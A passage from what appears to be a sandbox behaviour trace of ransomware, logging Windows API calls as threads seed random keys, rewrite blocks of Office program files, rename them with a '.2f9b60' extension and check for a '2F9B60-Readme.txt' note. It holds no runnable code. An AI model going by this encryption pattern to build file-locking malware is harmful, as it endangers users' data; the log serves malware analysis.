(in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="e4") returned 2 [0130.258] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="98") returned 2 [0130.258] RtlInitAnsiString (in: DestinationString=0x26f9fb88, SourceString="bca9c9e80b79e53eb68df878f60ab9aa0bf9e498" | out: DestinationString="bca9c9e80b79e53eb68df878f60ab9aa0bf9e498") [0130.258] RtlAnsiStringToUnicodeString (in: DestinationString=0x26f9fb58, SourceString="bca9c9e80b79e53eb68df878f60ab9aa0bf9e498", AllocateDestinationString=1 | out: DestinationString="bca9c9e80b79e53eb68df878f60ab9aa0bf9e498") returned 0x0 [0130.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b7cea00 [0130.259] wcscat (in: _Dest=0x202a5f10, _Source="bca9c9e80b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\bca9c9e80b") returned="C:\\Program Files\\Microsoft Office\\Office14\\bca9c9e80b" [0130.259] wcscat (in: _Dest=0x202a5f10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\bca9c9e80b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\bca9c9e80b.2f9b60" [0130.259] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\bca9c9e80b.2f9b60", NtPathName=0x26f9fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\bca9c9e80b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0130.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205cc90 [0148.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cc90) returned 1 [0148.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0148.260] NtQueryInformationFile (in: FileHandle=0xd00, IoStatusBlock=0x26f9fb98, FileInformation=0x26f9fba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x26f9fb98, FileInformation=0x26f9fba8) returned 0x0 [0148.260] NtSetInformationFile (FileHandle=0xd00, IoStatusBlock=0x26f9fb98, FileInformation=0x26f9fba8, Length=0x28, FileInformationClass=0x4) [0201.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5f10) returned 1 [0201.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cea00) returned 1 [0201.753] FlushFileBuffers (hFile=0xd00) returned 1 [0201.758] CloseHandle (hObject=0xd00) returned 1 [0205.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85b490 [0205.867] wcscpy (in: _Dest=0x1b85b490, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0205.868] wcscat (in: _Dest=0x1b85b490, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0205.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0205.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b490) returned 1 [0205.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85db90) returned 1 Thread: id = 403 os_tid = 0xf7c [0090.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixacs.pdl")) returned 0x20 [0090.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL", dwFileAttributes=0x20) returned 1 [0091.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixacs.pdl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xaa8 [0091.000] GetFileSizeEx (in: hFile=0xaa8, lpFileSize=0x26b3faa0 | out: lpFileSize=0x26b3faa0*=348576) returned 1 [0091.000] SetFilePointerEx (in: hFile=0xaa8, liDistanceToMove=0x5519c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.000] ReadFile (in: hFile=0xaa8, lpBuffer=0x26b3fa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26b3fa68, lpOverlapped=0x0 | out: lpBuffer=0x26b3fa20*, lpNumberOfBytesRead=0x26b3fa68*=0x4, lpOverlapped=0x0) returned 1 [0091.006] SetFilePointerEx (in: hFile=0xaa8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85abd0 [0091.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a210 [0091.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1b0 [0091.007] NtQuerySystemTime (in: CurrentTime=0x26b3f960 | out: CurrentTime=0x26b3f960*=132462176968522000) returned 0x0 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x49587b80 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x6117fc82 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x365461c6 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x4dac47b0 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x46a4fdd [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x3c34c390 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x55071d4d [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x6d808cc9 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x681f8c02 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x7f9579d4 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x9a8f419 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x68cdf712 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0xdac28e3 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x67786186 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x598bab95 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x3b6aeeea [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0xbabcf8b [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x10b713c6 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x4b1a3aa4 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x1b7a943a [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x19198358 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x518efb8 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x16b23375 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x2e111fd0 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x6dfeae1d [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x434ad10d [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x1b250e28 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x4417c1aa [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x2884fee6 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x3a6da6d9 [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x5899523d [0091.007] RtlRandomEx (in: Seed=0x26b3f950 | out: Seed=0x26b3f950) returned 0x77ff3d1e [0091.015] SetFilePointerEx (in: hFile=0xaa8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.015] ReadFile (in: hFile=0xaa8, lpBuffer=0x2012a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26b3f9c0, lpOverlapped=0x0 | out: lpBuffer=0x2012a520*, lpNumberOfBytesRead=0x26b3f9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0091.033] SetFilePointerEx (in: hFile=0xaa8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8f0 [0091.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0091.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85abd0 [0091.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85abd0) returned 1 [0091.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20139560 [0091.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85abd0 [0091.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced70e0 [0091.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced70e0) returned 1 [0091.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0091.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8f0) returned 1 [0091.034] WriteFile (in: hFile=0xaa8, lpBuffer=0x20139560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26b3f9c0, lpOverlapped=0x0 | out: lpBuffer=0x20139560*, lpNumberOfBytesWritten=0x26b3f9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0098.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20139560) returned 1 [0098.414] SetFilePointerEx (in: hFile=0xaa8, liDistanceToMove=0x2d000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.414] ReadFile (in: hFile=0xaa8, lpBuffer=0x2012a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26b3f9c0, lpOverlapped=0x0 | out: lpBuffer=0x2012a520*, lpNumberOfBytesRead=0x26b3f9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.394] SetFilePointerEx (in: hFile=0xaa8, liDistanceToMove=0x2d000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0100.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ec0 [0100.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0100.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e100b0 [0100.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263140 [0100.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263080 [0100.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263080) returned 1 [0100.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0100.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0100.841] WriteFile (in: hFile=0xaa8, lpBuffer=0x41e100b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26b3f9c0, lpOverlapped=0x0 | out: lpBuffer=0x41e100b0*, lpNumberOfBytesWritten=0x26b3f9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0159.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e100b0) returned 1 [0159.306] SetFilePointerEx (in: hFile=0xaa8, liDistanceToMove=0x515a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.306] ReadFile (in: hFile=0xaa8, lpBuffer=0x2012a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26b3f9c0, lpOverlapped=0x0 | out: lpBuffer=0x2012a520*, lpNumberOfBytesRead=0x26b3f9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0159.740] SetFilePointerEx (in: hFile=0xaa8, liDistanceToMove=0x515a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97e40 [0159.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8677c0 [0159.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0110 [0159.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0110) returned 1 [0159.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d5b4e0 [0159.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0110 [0159.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0140 [0159.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0140) returned 1 [0159.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8677c0) returned 1 [0159.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0159.742] WriteFile (in: hFile=0xaa8, lpBuffer=0x41d5b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26b3f9c0, lpOverlapped=0x0 | out: lpBuffer=0x41d5b4e0*, lpNumberOfBytesWritten=0x26b3f9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0179.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d5b4e0) returned 1 [0179.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15530 [0179.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0110) returned 1 [0179.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263140) returned 1 [0179.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85abd0) returned 1 [0179.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2012a520) returned 1 [0179.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85abd0 [0179.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62a00 [0179.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba4e0 [0179.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a720 [0179.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a720) returned 1 [0179.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a720 [0179.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d00 [0179.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859dc0 [0179.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859dc0) returned 1 [0179.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba4e0) returned 1 [0179.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62a00) returned 1 [0179.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x144) returned 0x1cebcd60 [0179.947] SetFilePointerEx (in: hFile=0xaa8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0179.947] WriteFile (in: hFile=0xaa8, lpBuffer=0x1cebcd60*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x26b3fa70, lpOverlapped=0x0 | out: lpBuffer=0x1cebcd60*, lpNumberOfBytesWritten=0x26b3fa70*=0x144, lpOverlapped=0x0) returned 1 [0206.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61510 [0206.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060f30 [0206.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d870 [0206.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d870) returned 1 [0206.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d320 [0206.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d870 [0206.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d930 [0206.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d930) returned 1 [0206.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060f30) returned 1 [0206.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0206.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x2050d930 [0206.265] sprintf (in: _Dest=0x2050d930, _Format="%c%c" | out: _Dest="7e") returned 2 [0206.265] sprintf (in: _Dest=0x2050d932, _Format="%c%c" | out: _Dest="25") returned 2 [0206.265] sprintf (in: _Dest=0x2050d934, _Format="%c%c" | out: _Dest="6a") returned 2 [0206.265] sprintf (in: _Dest=0x2050d936, _Format="%c%c" | out: _Dest="af") returned 2 [0206.265] sprintf (in: _Dest=0x2050d938, _Format="%c%c" | out: _Dest="a5") returned 2 [0206.265] sprintf (in: _Dest=0x2050d93a, _Format="%c%c" | out: _Dest="d2") returned 2 [0206.265] sprintf (in: _Dest=0x2050d93c, _Format="%c%c" | out: _Dest="ca") returned 2 [0206.265] sprintf (in: _Dest=0x2050d93e, _Format="%c%c" | out: _Dest="dd") returned 2 [0206.265] sprintf (in: _Dest=0x2050d940, _Format="%c%c" | out: _Dest="bc") returned 2 [0206.265] sprintf (in: _Dest=0x2050d942, _Format="%c%c" | out: _Dest="d1") returned 2 [0206.265] sprintf (in: _Dest=0x2050d944, _Format="%c%c" | out: _Dest="64") returned 2 [0206.265] sprintf (in: _Dest=0x2050d946, _Format="%c%c" | out: _Dest="e7") returned 2 [0206.265] sprintf (in: _Dest=0x2050d948, _Format="%c%c" | out: _Dest="5f") returned 2 [0206.265] sprintf (in: _Dest=0x2050d94a, _Format="%c%c" | out: _Dest="35") returned 2 [0206.266] sprintf (in: _Dest=0x2050d94c, _Format="%c%c" | out: _Dest="2c") returned 2 [0206.266] sprintf (in: _Dest=0x2050d94e, _Format="%c%c" | out: _Dest="d4") returned 2 [0206.266] sprintf (in: _Dest=0x2050d950, _Format="%c%c" | out: _Dest="29") returned 2 [0206.266] sprintf (in: _Dest=0x2050d952, _Format="%c%c" | out: _Dest="3b") returned 2 [0206.266] RtlInitAnsiString (in: DestinationString=0x26b3fae8, SourceString="7e256aafa5d2caddbcd164e75f352cd4293b" | out: DestinationString="7e256aafa5d2caddbcd164e75f352cd4293b") [0206.266] RtlAnsiStringToUnicodeString (in: DestinationString=0x26b3fab8, SourceString="7e256aafa5d2caddbcd164e75f352cd4293b", AllocateDestinationString=1 | out: DestinationString="7e256aafa5d2caddbcd164e75f352cd4293b") returned 0x0 [0206.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9c970 [0206.267] wcscat (in: _Dest=0x42060f30, _Source="7e256aafa" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\7e256aafa") returned="C:\\Program Files\\Microsoft Office\\Office14\\7e256aafa" [0206.267] wcscat (in: _Dest=0x42060f30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\7e256aafa.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\7e256aafa.2f9b60" [0206.267] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\7e256aafa.2f9b60", NtPathName=0x26b3fa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\7e256aafa.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431c5a80 Thread: id = 404 os_tid = 0xf80 [0090.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixdb2.pdl")) returned 0x20 [0091.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL", dwFileAttributes=0x20) returned 1 [0091.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL" (normalized: "c:\\program files\\microsoft office\\office14\\ixdb2.pdl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd30 [0091.121] GetFileSizeEx (in: hFile=0xd30, lpFileSize=0x272afa80 | out: lpFileSize=0x272afa80*=213384) returned 1 [0091.121] SetFilePointerEx (in: hFile=0xd30, liDistanceToMove=0x34184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.121] ReadFile (in: hFile=0xd30, lpBuffer=0x272afa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x272afa48, lpOverlapped=0x0 | out: lpBuffer=0x272afa00*, lpNumberOfBytesRead=0x272afa48*=0x4, lpOverlapped=0x0) returned 1 [0091.665] SetFilePointerEx (in: hFile=0xd30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0091.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7da0 [0091.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7dd0 [0091.666] NtQuerySystemTime (in: CurrentTime=0x272af940 | out: CurrentTime=0x272af940*=132462176975074000) returned 0x0 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x42aedad2 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x785df6d [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x3967a97 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x170c5989 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x4935ce2c [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x6da4790d [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x1bb99eff [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x22e51b13 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x5b3c5a42 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x56faebcd [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x6ea7fae9 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x61545b35 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x74ee9f08 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x6fa23393 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x29f64860 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x2ad85593 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x1ebe3470 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x4a6f7cca [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x44293985 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x75324598 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x2e3ed0a4 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x42771b03 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x7b9dab5 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x49494b22 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x26bebf74 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x5d3a253f [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x1b0ba888 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x20dc89ea [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x872a409 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x1ab11e66 [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x4227ed6a [0091.666] RtlRandomEx (in: Seed=0x272af930 | out: Seed=0x272af930) returned 0x319f2d69 [0091.673] SetFilePointerEx (in: hFile=0xd30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.673] ReadFile (in: hFile=0xd30, lpBuffer=0x201df0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x272af9a0, lpOverlapped=0x0 | out: lpBuffer=0x201df0f0*, lpNumberOfBytesRead=0x272af9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0091.688] SetFilePointerEx (in: hFile=0xd30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0091.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8667c0 [0091.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced75c0 [0091.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced75c0) returned 1 [0091.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201e2d00 [0091.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced75c0 [0091.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0091.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d10) returned 1 [0091.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 